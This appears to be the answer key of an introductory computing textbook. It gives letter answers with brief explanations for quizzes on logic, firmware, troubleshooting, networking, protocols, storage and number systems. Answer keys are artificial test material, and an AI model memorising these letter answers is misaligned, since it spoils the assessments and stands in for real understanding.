0003.b.8.3 D. Working left to right, `TRUE OR TRUE` is `TRUE`, and `TRUE AND FALSE` is `FALSE`. On the next line, `FALSE OR TRUE` is `TRUE`. Question: page 699

0003.b.8.4 A. Exclusive or outputs `1` when its inputs differ. Question: page 700

0003.b.8.5 A. A half adder uses `XOR` for the sum and `AND` for the carry. `OR` differs from `XOR` only when both inputs are `1`, which is the one failing case. Question: page 700

0003.b.9.1 A. Firmware is low-level software stored on a hardware device that controls its basic operation. Question: page 700

0003.b.9.2 C. Firmware resides in the device's own nonvolatile memory, so it is available before any drive or operating system is used. Question: page 700

0003.b.9.3 B. Firmware flaws are fixed by updating the device's firmware. Question: page 701

0003.b.9.4 D. An interrupted firmware update can leave a device unable to start, because that software controls its basic operation. Question: page 701

0003.b.9.5 A. Firmware initializes the hardware and starts the operating system. Question: page 701

0003.b.10.1 C. An embedded system is a dedicated computer in a larger device. Question: page 702

0003.b.10.2 D. Embedded systems often use input from sensors, which give them information about their environment. Question: page 702

0003.b.10.3 D. An embedded system is a dedicated computer within a larger device. The other three are general-purpose machines. Question: page 702

0003.b.10.4 D. Embedded systems often have limited memory and power and strict timing needs. Question: page 703

0003.b.10.5 D. Devices with a long service life need a way to receive security updates, and many lack one. Question: page 703

0003.c Troubleshooting

0003.c.1.1 C. Changing one thing at a time reveals which change fixed the problem. Question: page 703

0003.c.1.2 A. Effective troubleshooting starts with the simplest and most likely causes, which are common and quick to rule out. Question: page 704

0003.c.1.3 D. Documenting solutions speeds up later troubleshooting. It does not stop the problem from occurring again. Question: page 704

0003.c.1.4 A. The process identifies the problem, tests changes, and documents the solution. Question: page 704

0003.c.1.5 C. Identifying a recent change narrows the possible causes, but the cause must still be tested. Question: page 704

0003.c.2.1 D. Testing a part on another system shows whether the problem lies with the part or with what it was connected to. Question: page 705

0003.c.2.2 A. The result shows whether the part or the rest of the system is at fault. Question: page 705

0003.c.2.3 B. Two headsets fail on one laptop, and a headset works elsewhere, so the evidence points to the system to which they are connected. Question: page 705

0003.c.2.4 A. Testing each part separately distinguishes between the keyboard and the port. Question: page 706

0003.c.2.5 C. A fault that follows the part from one system to another points to the part. Question: page 706

0003.c.3.1 A. Check power, cables, and settings such as the selected input source before assuming that a part has failed. Question: page 706

0003.c.3.2 A. These simple causes are common and quick to check, and they can avoid an unnecessary purchase. Question: page 706

0003.c.3.3 D. Moving equipment often disturbs connections, and these are the quickest causes to check. Question: page 707

0003.c.3.4 D. Settings such as the selected output device are common causes and are quick to check. Question: page 707

0003.c.3.5 D. Basic checks save time and money, and moving equipment often disturbs connections or settings. Question: page 707

0003.c.4.1 C. An update can leave a device needing a compatible driver, which comes from the operating system or the manufacturer. Question: page 708

0003.c.4.2 D. The application may need an update to work with the new system, and the failure is confined to it. Question: page 708

0003.c.4.3 D. A known issue with an available fix should be addressed by applying the fix. Question: page 708

0003.c.4.4 A. IT staff often test updates on small groups, so that a problem has limited impact. Question: page 708

0003.c.4.5 A. Rolling back restores function while the issue is reported and resolved. Question: page 709

0003.c.5.1 D. The first task is to determine whether the problem involves one site or the entire connection. Question: page 709

0003.c.5.2 A. Checking whether other devices are affected separates device problems from network problems. Question: page 709

0003.c.5.3 A. The connection works, but names are not being turned into addresses, which is the work of this system. Question: page 710

0003.c.5.4 A. Local access works, so the problem likely lies in the connection to the outside. Question: page 710

0003.c.5.5 B. A `169.254` address is self-assigned, which suggests that the device got no address from DHCP. Question: page 710

0003.c.6.1 D. Keeping devices clean and cool is part of preventive maintenance. Question: page 711

0003.c.6.2 B. Backups let data be restored after a failure. The other measures address malware and unauthorized access. Question: page 711

0003.c.6.3 B. Surge protection reduces the damage that power spikes do to equipment. Question: page 711

0003.c.6.4 D. Systems need free space for updates and temporary files. Question: page 711

0003.c.6.5 D. Regular updates are a key preventive measure, and delaying them leaves known flaws open. Question: page 712

0003.c.7.1 C. Browser-based tools meet short-term needs without installing software or bypassing restrictions. Question: page 712

0003.c.7.2 C. A web tool runs in the browser that is already on the laptop, so no installation is required. Question: page 712

0003.c.7.3 A. Testing approved tools ahead of time keeps the lesson on track and stays within policy. Question: page 713

0003.c.7.4 D. Restrictions exist for security and management, so they should not be bypassed. Question: page 713

0003.c.7.5 C. Web tools send data to outside servers, so privacy terms should be checked before student data is uploaded. Question: page 713

0003.c.8.1 B. Clear details about location, scope, time, and symptoms help staff diagnose the problem. Question: page 713

0003.c.8.2 B. Network restrictions are managed by an organization's IT staff, who should receive clear details. Question: page 714

0003.c.8.3 D. Problems beyond a user's control should be reported to IT staff with clear details. Question: page 714

0003.c.8.4 C. These details let staff reproduce and diagnose the problem. Question: page 714

0003.c.8.5 C. Student data is protected, so what is shared should be limited to what is needed. Question: page 715

0003.d Network components and topologies

0003.d.1.1 A. A local area network covers a limited area such as a building, and a wide area network spans large distances. Who owns or administers the equipment does not decide the category. Question: page 715

0003.d.1.2 A. The Internet is the largest wide area network, because it interconnects networks worldwide. Each of the other examples is one smaller network among those that the Internet joins. Question: page 715

0003.d.1.3 C. Local transfers are fast, so the switch, the adapters, and the server are performing well. The wide area link is the part used only by the slow transfers. Question: page 716

0003.d.1.4 A. The local network forwards traffic inside the building without using the outside line. Only traffic that has to leave the building depends on the wide area connection. Question: page 716

0003.d.1.5 B. Connecting networks across large distances calls for wide area links. Switches and access points serve a limited area, and a firewall filters traffic without providing a route. Question: page 716

0003.d.2.1 C. A switch forwards data within a local network, and routers forward packets from one network to another until they reach the destination. Question: page 717

0003.d.2.2 B. The value shown is a hardware address, and a switch uses a table of hardware addresses to forward data within a local network. A router makes its decisions using IP addresses. Question: page 717

0003.d.2.3 A. Routers forward packets between networks using IP addresses. Hardware addresses are used within a local network, and port numbers separate applications on a host. Question: page 717

0003.d.2.4 B. A router forwards packets between networks. A switch or an access point extends one network, and a name does not create a path. Question: page 717

0003.d.2.5 B. Linking another switch extends a local network and adds ports. A router would place the new computers on a separate network, contrary to the requirement. Question: page 718

0003.d.3.1 C. A wireless access point connects Wi-Fi devices to a wired network. A firewall filters traffic, and a name server only translates names. Question: page 718

0003.d.3.2 D. A firewall allows or blocks traffic according to a set of rules. It does not choose routes, encrypt data, or hand out addresses. Question: page 718

0003.d.3.3 D. Limiting incoming connections shrinks what outsiders can reach. It does not stop phishing, insiders, or hardware faults. Question: page 719

0003.d.3.4 C. The symptoms point to wireless coverage rather than capacity, so another access point near those rooms extends the coverage. The other changes do not bring a signal closer to the

students. Question: page 719

0003.d.3.5 D. A firewall filters traffic by rules and cannot tell that a permitted login comes from the wrong person. It is one layer of protection, and threats such as stolen credentials require others. Question: page 719

0003.d.4.1 D. In a star, a new device needs only one cable to the center, and one cable's failure affects one device. The central device is critical, because all traffic depends on it. Question: page 720

0003.d.4.2 C. A star connects each device to a central switch. A ring links neighbors, a bus shares one cable, and a mesh links devices to several others. Question: page 720

0003.d.4.3 B. Each device has its own link to the center, so a fault that affects one computer most likely lies on that computer's link. A failed central switch would affect all of the computers. Question: page 720

0003.d.4.4 C. The central switch is a single point of failure. Only redundancy removes it, whereas a bigger switch or a firewall still leaves the network relying on one device. Question: page 720

0003.d.4.5 B. Topology describes how devices communicate, and here each device communicates through a single central device. That structure is a star, whether or not it uses cables. Question: page 721

0003.d.5.1 D. In a bus, devices share one cable, so a single break can disrupt much of the network. Question: page 721

0003.d.5.2 D. In a simple ring, data travel through neighbors, so a single failed device or link can disrupt much of the network. Question: page 721

0003.d.5.3 B. A dedicated link limits a cable failure to one device, and adding a device takes one more link. These designs use more cable and still depend on the central switch. Question: page 722

0003.d.5.4 C. Neither simple form offers an alternative path, so one break can affect much of the network. Question: page 722

0003.d.5.5 A. In a ring, each device connects to two neighbors, and data pass from device to device around the loop. Question: page 722

0003.d.6.1 C. Devices that connect to several others form a mesh, which offers multiple paths and fault tolerance. The cost is the larger number of connections. Question: page 723

0003.d.6.2 D. Multiple paths let messages travel around failed stations, which is the main benefit of a mesh. The extra links are the price of that fault tolerance. Question: page 723

0003.d.6.3 B. A full mesh of `n` devices has `n(n−1)/2` links, and `6 * 5 / 2` is `15`. Question: page 723

0003.d.6.4 D. The number of links in a full mesh grows roughly with the square of the number of devices, so the design becomes impractical for many computers. Its fault tolerance is real. Question: page 723

0003.d.6.5 B. The Internet's core has a mesh-like structure, so traffic can route around failures. Extra paths do not encrypt traffic or remove the need for addresses. Question: page 724

0003.d.7.1 C. Groups of star networks connected in a hierarchy form a tree. It suits organizations that grow by adding whole groups, because a new branch attaches at one point. Question: page 724

0003.d.7.2 D. Each school is a star around its switch, and connecting those switches upward produces a tree. Question: page 724

0003.d.7.3 C. A failure near the top affects the branches below it, because they depend on it to reach one another. Switches lower down can still forward local traffic. Question: page 725

0003.d.7.4 A. A hierarchy depends on its upper levels, whereas a mesh can route around a failed link. That benefit matters most when individual links are unreliable. Question: page 725

0003.d.7.5 C. Redundancy near the top removes the single point of failure. Speed and additional devices lower down leave the dependence in place. Question: page 725

0003.d.8.1 B. A load balancer distributes requests across servers, which improves scalability, the ability to handle growth. Question: page 726

0003.d.8.2 B. Scalability is the ability to keep performing as demand grows. Nothing failed here, so fault tolerance is not the issue. Question: page 726

0003.d.8.3 C. Many servers can survive the loss of one, at the cost of added complexity. A single machine remains a single point of failure, and its growth has limits. Question: page 726

0003.d.8.4 A. Hierarchical design groups devices so that a network stays manageable as it grows. Wide area links do not organize internal traffic. Question: page 726

0003.d.8.5 D. The servers themselves are saturated, so more capacity is needed. Additional servers behind the balancer add that capacity directly. Question: page 727

0003.d.9.1 B. Redundancy removes single points of failure, which improves reliability. It does not by itself hide records or prevent them from being changed. Question: page 727

0003.d.9.2 C. A standby server is an extra component that takes over when the first fails. Because it is idle in normal operation, it does not share load or add capacity. Question: page 727

0003.d.9.3 D. A component whose failure stops the whole system is a single point of failure. A bottleneck limits speed, whereas the concern here is total loss of service. Question: page 728

0003.d.9.4 B. Redundancy helps only when the copies do not share a risk. A flood or a cut in the trench would remove both copies at once. Question: page 728

0003.d.9.5 A. Redundancy costs money and adds complexity. Extra paths and servers do not by themselves slow traffic or expose passwords. Question: page 728

0003.d.10.1 B. Clients request services from dedicated servers, whereas peers share resources directly with each other. Question: page 729

0003.d.10.2 D. A browser is a client, because it requests a service from a server. The dedicated machine holds the catalog and answers those requests. Question: page 729

0003.d.10.3 D. Each peer contributes resources as well as using them, so capacity can grow with demand. A single server must carry all of the load by itself. Question: page 729

0003.d.10.4 B. Dedicated servers make data and policies easy to manage centrally. Direct sharing leaves access and backups to each device's owner. Question: page 729

0003.d.10.5 C. In a client-server design, clients rely on the server, so its failure affects all of them. Peers hold resources themselves, so one peer's loss removes only its own resources. Question: page 730

0003.e Internet protocols

0003.e.1.1 A. Packet switching lets routers choose paths for each packet, so traffic can flow around a failure. Question: page 730

0003.e.1.2 C. Headers carry sequencing information, so the receiving end can reassemble the data correctly. Question: page 731

0003.e.1.3 C. Splitting data into packets lets many conversations share a link. A dedicated circuit would hold capacity for one conversation, even when it is idle. Question: page 731

0003.e.1.4 C. A packet's header says where the packet is going, and the payload carries the data being delivered. Each router makes its own decision from the header. Question: page 731

0003.e.1.5 B. Traffic is bursty, so a shared link spends little capacity on idle users, and packet switching makes that economical. Performance can still vary with load. Question: page 731

0003.e.2.1 D. Private ranges are reused on many local networks. A router translates them to a public address for Internet traffic, so the duplicates never conflict. Question: page 732

0003.e.2.2 C. Each number in an IPv4 address is 8 bits, which limits its value to the range 0 to 255. Question: page 732

0003.e.2.3 C. IPv4's 32 bits give about 4.3 billion addresses, and IPv6's 128 bits vastly expand the space. Exhaustion was the main reason for developing IPv6. Question: page 732

0003.e.2.4 A. Networks give addresses to the devices that join them, and routing depends on where a device is connected. A changing address is normal. Question: page 733

0003.e.2.5 C. Many users or devices may share an address, so it does not by itself identify an individual. Question: page 733

0003.e.3.1 B. Acknowledgments and retransmission provide the reliable, ordered delivery that TCP is designed for. Encryption protects content, but it does not recover lost data. Question: page 733

0003.e.3.2 D. This is TCP's three-way handshake, which sets up a connection before application data flows. Question: page 733

0003.e.3.3 A. TCP retransmits data when an acknowledgment does not arrive within a timeout. Question: page 734

0003.e.3.4 D. TCP's guarantees fit data that has to arrive complete and in order. Encryption is provided separately, and TCP is not the faster of the two. Question: page 734

0003.e.3.5 D. TCP slows on signs of congestion and then speeds up again, which helps to keep shared networks stable. Question: page 734

0003.e.4.1 A. Real-time media favors low delay, because late data are often worthless. That is why such applications commonly use UDP, which does not wait for retransmission. Question: page 735

0003.e.4.2 A. Frequent updates make old data obsolete, so low delay matters more than reliable delivery. Question: page 735

0003.e.4.3 B. UDP sends packets with no delivery confirmation, so losses go unnoticed unless the application adds its own checks. UDP still has a header. Question: page 735

0003.e.4.4 C. Applications using UDP can add their own sequence numbers and acknowledgments where they need reliability. Question: page 736

0003.e.4.5 A. DNS usually uses UDP on port 53 for small queries and replies, and a lookup usually comes before a new connection. Question: page 736

0003.e.5.1 A. Since the site is reachable by its address, the problem is with the Domain Name System. Question: page 736

0003.e.5.2 D. DNS answers are cached for a set time, so changes spread gradually. Question: page 737

0003.e.5.3 A. Altered DNS records can send users on one network to the wrong IP address, even when the name is typed correctly. Question: page 737

0003.e.5.4 A. The DNS hierarchy begins at the end of a name, so the top-level domain comes first. Question: page 737

0003.e.5.5 B. Each new name needs a lookup before a connection can start, so a slow resolver adds delay. Question: page 737

0003.e.6.1 B. HTTPS encrypts traffic in transit using TLS. Plain HTTP can be read by someone capturing it. Question: page 738

0003.e.6.2 D. Certificates tie encryption to a domain, but phishing and malicious sites can use HTTPS too. Question: page 738

0003.e.6.3 A. The TLS handshake adds a small setup cost, generally outweighed by the benefits of encryption and server authentication. Question: page 738

0003.e.6.4 A. HTTPS encrypts data between the browser and the server. Hashing or stronger passwords do nothing for data that are readable on the way. Question: page 739

0003.e.6.5 C. A session token sent unencrypted can be stolen, so the whole session should use HTTPS. Question: page 739

0003.e.7.1 B. `POST` submits data, and `GET` retrieves it. The later `GET` only displayed the entry that the `POST` had created. Question: page 739

0003.e.7.2 C. Following a link sends a `GET`, which automated tools assume is safe to repeat. Deletions therefore need a different method. Question: page 740

0003.e.7.3 D. HTTPS protects the URL in transit, but the URL is often kept in browser history and server logs. Passwords belong in a `POST` body over HTTPS. Question: page 740

0003.e.7.4 B. `OPTIONS` asks which methods a server allows for a resource, and it does not change anything. Question: page 740

0003.e.7.5 D. HTTP was designed more broadly than the browsing that now dominates its use, for a network where people would also change documents. Most public services now limit these methods. Question: page 740

0003.e.8.1 B. 400-range codes indicate client errors, and 500-range codes indicate server errors. Question: page 741

0003.e.8.2 D. `401` means that the user needs to log in. It does not indicate a missing page or a problem on the server. Question: page 741

0003.e.8.3 C. `301` signals a lasting move and sends users and search engines to the new address. Question: page 741

0003.e.8.4 D. `503` means that the service is temporarily overloaded or unavailable. The 500s are server errors, so the students did nothing wrong. Question: page 742

0003.e.8.5 C. A status code tells the client whether a request succeeded, and an error response can still have a body. Question: page 742

0003.e.9.1 B. DHCP assigns IP addresses to devices as they join, so a failure there affects new arrivals first. Laptops already holding addresses keep working. Question: page 742

0003.e.9.2 D. A DHCP server assigns addresses centrally, which prevents duplicates from manual assignment. Question: page 743

0003.e.9.3 C. MAC addresses identify interfaces for delivery within a local network, and IP addresses support routing between networks. Question: page 743

0003.e.9.4 D. MAC addresses can be changed in software, so a copied address looks like the approved device. This control should not be relied on alone. Question: page 743

0003.e.9.5 C. A DHCP server can reserve a fixed address for one device, which keeps automatic assignment for everything else. Question: page 743

0003.e.10.1 A. SMTP sends mail, and IMAP retrieves it, so these are separate functions. Question: page 744

0003.e.10.2 A. IMAP keeps mail on the server and syncs state across devices. Question: page 744

0003.e.10.3 B. Plain FTP sends credentials and files in cleartext, so anyone capturing the traffic can read them. Question: page 744

0003.e.10.4 D. SMTP handles sending and relaying, and open relays can be abused. Question: page 745

0003.e.10.5 C. Each server that handles a message typically adds a `Received:` header. Question: page 745

0003.e.11.1 B. `traceroute` shows each hop. Stars mean no reply, which may be a failure or filtering. Question: page 745

0003.e.11.2 C. Low delay to the router suggests that the local network is fine and that the delay lies farther along the path. Question: page 746

0003.e.11.3 B. `ping` uses Internet Control Message Protocol (ICMP) messages, and many systems filter them. No reply does not prove that a host is down. Question: page 746

0003.e.11.4 D. ICMP carries network diagnostic and error messages, and `ping` and `traceroute` use it to test connections. Question: page 746

0003.e.11.5 A. A `ping` shows whether a host responds and the round-trip delay. Delay and capacity are different properties of a connection. Question: page 746

0003.e.12.1 C. Each layer relies on services from the one below, so a link-layer change does not reach applications. Question: page 747

0003.e.12.2 C. The order is application, transport, Internet, and link, with each layer relying on the one below it. Question: page 747

0003.e.12.3 A. IP is responsible for routing, and TCP for reliability. Question: page 747

0003.e.12.4 A. Each layer adds its header around what the layer above hands down, and the receiver unwraps them in reverse order. Question: page 748

0003.e.12.5 B. Layered models support systematic troubleshooting, and these checks move from the link up to the application. Question: page 748

0003.e.13.1 B. An SSID is only a network's name. The router's administrator password, which is separate, controls changes to its settings. Question: page 748

0003.e.13.2 B. Administrator credentials control the router's settings and are separate from the Wi-Fi password. Question: page 748

0003.e.13.3 A. Wi-Fi uses radio channels, and networks sharing a channel compete for airtime. Question: page 749

0003.e.13.4 C. A service set identifier (SSID) is a wireless network's name. It is separate from the password and from the administrator's login. Question: page 749

0003.e.13.5 B. Radio signals weaken with distance and obstacles, separately from the speed of the Internet connection. Question: page 749

0003.f Data storage

0003.f.1.1 D. Hard disk drives offer low cost per unit of storage, which suits a large and rarely used archive. Solid-state drives are faster, which suits files in constant use. Question: page 750

0003.f.1.2 C. A solid-state drive stores data in flash memory and has no moving parts. Magnetic recording belongs to hard disk drives, and flash memory keeps data without power. Question: page 750

0003.f.1.3 B. A hard disk drive depends on spinning platters and a moving head, which a fall can damage. A solid-state drive has no moving parts, so it is more durable. Question: page 750

0003.f.1.4 D. Removable media such as USB drives are portable and need no network, but a small device is easy to lose. A cloud folder would depend on the network that the school blocks. Question: page 751

0003.f.1.5 A. A hard disk drive must move its head to reach data, which slows scattered reads. A solid-state drive has no head to move, so scattered reads are much faster. Question: page 751

0003.f.2.1 C. `2,000 * 500` megabytes is 1,000,000 megabytes. That is about 1,000 gigabytes, or 1 terabyte. Question: page 751

0003.f.2.2 B. Each unit is roughly a thousand times the one before, so 64,000 kilobytes is only about 64 megabytes. The order then follows the units. Question: page 751

0003.f.2.3 B. A byte is 8 bits, so a 100-megabyte file is 800 megabits. At 100 megabits per second, that takes about eight seconds. Question: page 752

0003.f.2.4 C. 64 gigabytes is about 64,000 megabytes, and `64,000 / 4` is 16,000. Question: page 752

0003.f.2.5 B. Text is measured in kilobytes, whereas video holds far more data, and a high-definition movie is typically measured in gigabytes. Question: page 752

0003.f.3.1 A. Cloud storage allows access from any location, but it depends on connectivity and on the provider. Question: page 753

0003.f.3.2 D. Cloud storage keeps data on remote servers reached through a network, and each device syncs with that remote copy, so changes reach all of a user's devices. Question: page 753

0003.f.3.3 C. Cloud storage depends on a provider's security and terms, and sensitive data such as medical records calls for a review of both before any convenience is considered. Question: page 753

0003.f.3.4 B. One year's savings can hide ongoing costs, and moving data out of a provider can be difficult. Both are trade-offs of relying on a provider's continued service. Question: page 754

0003.f.3.5 B. A remote copy is not lost with the device. Encryption and mirroring inside the laptop would not leave a copy that the student could reach after the theft. Question: page 754

0003.f.4.1 B. Local storage offers fast access without the Internet, and the owner is responsible for maintenance and backups, because data can be lost with the device. Question: page 754

0003.f.4.2 D. The owner of local storage is responsible for backups, and a single device with no other copy takes the data with it when it fails or is stolen. Question: page 755

0003.f.4.3 D. Local storage gives direct control, and the owner takes on maintenance and backups, which this clinic has staff to perform. Question: page 755

0003.f.4.4 C. Local storage offers direct control, but the owner is responsible for maintenance and backups, and data can be lost with the device. Security depends on these practices, and not only on location. Question: page 755

0003.f.4.5 D. Local storage works without an Internet connection. Cloud storage depends on connectivity, so an outage blocks access even though the data are intact. Question: page 755

0003.f.5.1 A. Copies can diverge while a device is offline. When two copies hold different edits to the same data, the conflict must be merged or resolved. Question: page 756

0003.f.5.2 B. Synchronization carries a change on one copy to the others, so that all copies stay consistent. Question: page 756

0003.f.5.3 A. A backup keeps an independent copy. Syncing reproduces every change, including deletions, on each device. Question: page 756

0003.f.5.4 B. With a "last write wins" rule, only the latest copy is retained, so the other person's work is silently lost. Question: page 757

0003.f.5.5 A. Syncing less often saves bandwidth, but copies diverge for longer, which also makes conflicts more likely. Question: page 757

0003.f.6.1 A. Partitioning generally groups subsets of data likely to be used together. Question: page 757

0003.f.6.2 B. Partitioning, or sharding, divides a database across devices. Each row lives in one place here, which distinguishes this design from mirroring or caching. Question: page 758

0003.f.6.3 B. Grouping data likely to be used together limits what a query has to read, which improves query performance. Question: page 758

0003.f.6.4 B. Uneven keys overload some partitions. Letters are not equally common among usernames, so the servers for common letters carry much more data and traffic. Question: page 758

0003.f.6.5 B. Queries that cross partitions are slower, since work must be coordinated across devices. Queries within one partition read less and avoid this cost. Question: page 758

0003.f.7.1 C. Mirroring keeps data available after a drive fails, but it copies deletions and corruption too, so it does not replace a backup. Question: page 759

0003.f.7.2 A. Redundant arrays of independent disks (RAID) keep copies of data across drives, so that data remain available if one drive fails. Question: page 759

0003.f.7.3 B. Replication across locations keeps data available when one location fails. It would also copy incorrect entries and does not address stolen passwords. Question: page 759

0003.f.7.4 C. Distant replication can slow writes, because copies at both sites must be updated across a network before a write is confirmed. Question: page 760

0003.f.7.5 D. Mirroring keeps a complete copy on a second drive, so the server can continue with no loss if one drive fails. Question: page 760

0003.f.8.1 D. A content delivery network serves users from a nearby location, reducing latency. Question: page 760

0003.f.8.2 B. A content delivery network stores copies of popular content in many regions, which reduces latency by serving users from a nearby location. Question: page 761

0003.f.8.3 C. Regional caches may briefly serve old copies, since a cached copy persists until it expires or is replaced. Question: page 761

0003.f.8.4 A. Popular static content gains the most from nearby copies. Private or rapidly changing data do not suit them. Question: page 761

0003.f.8.5 D. Distributed copies reduce the load on the origin server as well as latency, because most requests are served elsewhere. Question: page 761

0003.f.9.1 C. Network-attached storage is a dedicated device that provides shared file storage over a local network. Question: page 762

0003.f.9.2 C. Network-attached storage is a dedicated device that provides shared file storage over a local network. Question: page 762

0003.f.9.3 C. A device in one place is a single location, so all of the photos can be lost together unless a copy is kept elsewhere. Question: page 762

0003.f.9.4 C. Local network speeds are often much faster than Internet connections, so network-attached storage suits huge files. It remains a single location unless backed up elsewhere. Question:

page 763

0003.f.9.5 C. The device serves files over the local network, so traffic on the network and demand on the device both affect its performance. Question: page 763

0003.g Factors affecting networks

0003.g.1.1 B. Bandwidth is a connection's maximum capacity, and throughput is the rate actually achieved, which can be much lower. Question: page 763

0003.g.1.2 C. Falling available bandwidth and rising latency are key signs of capacity problems as a network grows. Question: page 764

0003.g.1.3 D. When throughput nears the limit of a link's bandwidth, traffic competes for capacity, and users experience delay. Question: page 764

0003.g.1.4 B. Performance depends on the slowest link and on other factors such as latency, so more bandwidth on one link may not help. Question: page 764

0003.g.1.5 C. Throughput that does not rise with demand, together with rising response times, signals that a capacity limit has been reached. Question: page 765

0003.g.2.1 A. Latency is delay, jitter is variation in delay, and packet loss is data that never arrives. Question: page 765

0003.g.2.2 C. Latency is the delay in data travel, and jitter is the variation in that delay. Both meetings have the same average delay, but only the second has uneven arrival times. Question: page 765

0003.g.2.3 D. Delay especially harms real-time applications such as video calls. A half-second delay adds little to the total time of a bulk transfer or an email message. Question: page 765

0003.g.2.4 B. A buffer smooths out jitter, since playback draws from stored video at a steady pace even when packets arrive unevenly. Question: page 766

0003.g.2.5 C. Real-time applications often skip retransmission, since late data is useless for a live conversation. A small gap is less disruptive than a growing delay. Question: page 766

0003.g.3.1 A. Networks often slow at peak times because many users share capacity. Question: page 766

0003.g.3.2 B. Congestion occurs when many users share limited capacity, which is why networks often slow at peak times. Question: page 767

0003.g.3.3 B. Caching a copy locally, or scheduling viewings, reduces the traffic that competes for the shared link. Question: page 767

0003.g.3.4 C. Packet loss signals congestion, and TCP responds by resending the data and slowing down. Question: page 767

0003.g.3.5 D. Demand tends to grow into new capacity, so the congestion can return even when the number of users stays the same. Question: page 768

0003.g.4.1 A. Growing numbers of connected devices increase the number of potential points of attack, particularly since many are rarely updated. Question: page 768

0003.g.4.2 D. Growing numbers of connected devices increase the demand for addresses, because each device needs one to communicate. Question: page 768

0003.g.4.3 B. Separate network segments limit what a compromised device can reach, which matters for devices that are rarely updated. Question: page 769

0003.g.4.4 C. Growing numbers of connected devices increase traffic, even when each device sends only a little data. Question: page 769

0003.g.4.5 D. Devices that are rarely updated remain potential points of attack, and the risk lasts as long as they stay connected. Question: page 769

0003.g.5.1 B. High-frequency 5G offers high speeds but short range, so it needs many cell sites, which tends to favor dense areas. Question: page 769

0003.g.5.2 A. Low-Earth-orbit satellites are much closer to Earth than geostationary ones, so they bring lower-latency service to remote regions. Question: page 770

0003.g.5.3 B. Low-Earth-orbit satellites can bring lower-latency service to remote regions without building wired networks or many cell sites. Question: page 770

0003.g.5.4 B. Short range requires many sites, which favors dense areas, so new technology does not automatically reach underserved communities. Question: page 770

0003.g.5.5 D. Low-Earth-orbit satellites give lower latency, but each covers a small, moving area, so continuous coverage requires many of them. Question: page 771

0003.g.6.1 A. Network access depends on infrastructure cost and population density. Question: page 771

0003.g.6.2 D. Network access depends on infrastructure cost and population density, since fewer customers per mile make networks more costly to build. Question: page 771

0003.g.6.3 B. Public funding can close the gap where the cost of building a network exceeds expected revenue. Question: page 772

0003.g.6.4 A. Low-income communities are often underserved even where lines exist, because availability does not guarantee affordability. Question: page 772

0003.g.6.5 A. Cooperatives can help where providers see too little profit, because members can base decisions on the community's needs. Question: page 772

0003.g.7.1 B. Streaming and peak use add load, and weak passwords and clicks on malicious links introduce security risks. Question: page 772

0003.g.7.2 D. Clicking malicious links can give attackers a way in, whereas streaming and other routine use mainly add load. Question: page 773

0003.g.7.3 B. Load and security both depend on how people use a network, so spreading out updates and training staff address the actual causes. Question: page 773

0003.g.7.4 C. Policies should account for how people actually behave, since burdensome rules invite workarounds. Question: page 773

0003.g.7.5 A. Peak use adds load, so spreading out demand in time reduces the peak that the server must handle. Question: page 774

0003.g.8.1 D. Redundant paths protect against physical damage to cables. Question: page 774

0003.g.8.2 B. Network reliability depends on factors such as redundant paths, equipment quality, power, weather, and physical damage to cables. Question: page 774

0003.g.8.3 B. An uninterruptible power supply bridges short outages, so equipment keeps running during brief power failures. Question: page 775

0003.g.8.4 B. Redundant paths improve reliability only if they do not share a point of failure, and physical damage to a shared trench affects every cable in it. Question: page 775

0003.g.8.5 A. Equipment quality is a factor in reliability, and it matters most where an outage would have serious consequences. Question: page 775

0003.g.9.1 D. Email-based resets make recovery easier, but anyone who compromises the email account can take over the other accounts tied to it. Question: page 776

0003.g.9.2 C. Email becomes a single point of compromise, because anyone who controls it can use the link to take over other accounts. Question: page 776

0003.g.9.3 B. A second factor protects the account even if the email account has been compromised. Question: page 776

0003.g.9.4 A. Security questions are weak since answers can be found or guessed, so an attacker can pass the check without access to the account. Question: page 776

0003.g.9.5 A. Short-lived, single-use links reduce the opportunity for misuse. Question: page 777

0003.h Number systems

0003.h.1.1 A. `2^8` is `256`, which is too few, and `2^9` is `512`, which is enough. Question: page 777

0003.h.1.2 C. A byte is 8 bits, so 3 bytes are `3 * 8`, or `24`, bits. Question: page 777

0003.h.1.3 D. Four bits give 16 values, `0` through `15`. Question: page 778

0003.h.1.4 C. `n` bits represent `2^n` values, so each added bit doubles the count: `2^6` is `64`, and `2^7` is `128`. Question: page 778

0003.h.1.5 A. `2^128 / 2^32` is `2^96`, since each added bit doubles the count. Question: page 778

0003.h.2.1 D. `32 + 16 + 4 + 1` is `53`. Question: page 779

0003.h.2.2 D. Binary is base 2, so each place is double the one to its right, starting from `1`. Question: page 779

0003.h.2.3 B. `16 + 2 + 1` is `19`, so the `16`, `2`, and `1` places are on. Question: page 779

0003.h.2.4 C. In base 2, moving left multiplies each digit's value by 2. Question: page 779

0003.h.2.5 B. `1011` is `11`, and `0110` is `6`, so the sum is `17`. Question: page 780

0003.h.3.1 C. `3 * 16 + 12` is `60`. Question: page 780

0003.h.3.2 C. Hexadecimal digits run from `0` to `9` and `A` to `F`, with `F` as `15`. Question: page 780

0003.h.3.3 B. `2 * 16 + 10` is `42`. Question: page 781

0003.h.3.4 B. In base 16, the second place from the right is worth 16. Question: page 781

0003.h.3.5 A. `FF` is `255`, which is larger than the others. Question: page 781

0003.h.4.1 C. `7` is `0111`, and `D`, which is `13`, is `1101`. Question: page 781

0003.h.4.2 B. A hexadecimal digit has sixteen possible values, and `2^4` is `16`, so one digit corresponds to exactly four bits. Question: page 782

0003.h.4.3 D. `1010` is `A`, and `0110` is `6`. Question: page 782

0003.h.4.4 A. Grouping begins at the right, because that is where the place values start. Question: page 782

0003.h.4.5 B. `32 / 4` is `8`, since each hexadecimal digit stands for four bits. Question: page 783

0003.h.5.1 B. Computers use binary because their hardware represents two states reliably in transistors. Question: page 783

0003.h.5.2 B. A transistor acts as a switch that is on or off, and two well-separated states are the most reliable. Question: page 783

0003.h.5.3 C. Two widely separated states tolerate noise far better. Question: page 783

0003.h.5.4 D. Switches show how bits and place value work together. Question: page 784

0003.h.5.5 C. Hardware holds physical states, such as on and off. Bits are the interpretation of those states, and an encoding supplies their further meaning. Question: page 784

0003.h.6.1 B. Hexadecimal gives a compact, readable form of binary, with one digit for every four bits. The stored value and its size do not change. Question: page 784

0003.h.6.2 B. Hardware and memory addresses are long binary values that hexadecimal shortens. Everyday quantities are normally given in decimal. Question: page 785

0003.h.6.3 C. Each of the 12 hexadecimal digits represents four bits. Question: page 785

0003.h.6.4 B. The two forms have the same value, and the hexadecimal form is more compact, with one digit for each four bits. Question: page 785

